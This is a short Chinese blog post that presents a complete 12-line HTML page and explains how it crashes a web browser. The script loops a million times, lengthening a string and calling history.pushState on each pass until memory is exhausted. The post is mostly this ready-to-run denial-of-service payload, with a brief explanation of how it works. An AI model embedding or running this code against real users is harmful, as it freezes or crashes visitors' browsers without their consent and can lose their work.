HTML5:12行代码让你浏览器崩溃

源码 136 字 大概 1 分钟 278 次

完整HTML代码如下:

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

原理

HTML5 的一个 API,用于向history添加当前页面的记录,代码: history.pushState(0, 0, total); 就是修改URL(只能修改当前目录后的字符,无法修改全部域名。且不会发生跳转或发送请求)。然后这里代码循环了1000000次,也就是说URL修改了1000000次,每次新的URL都是之前一次的后面再加上 i.toString() 。这样快速不停地向history中添加记录,最终就会导致内存占用迅速增大到机器无法承受,然后浏览器崩溃

文章目录
END

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。

发表感想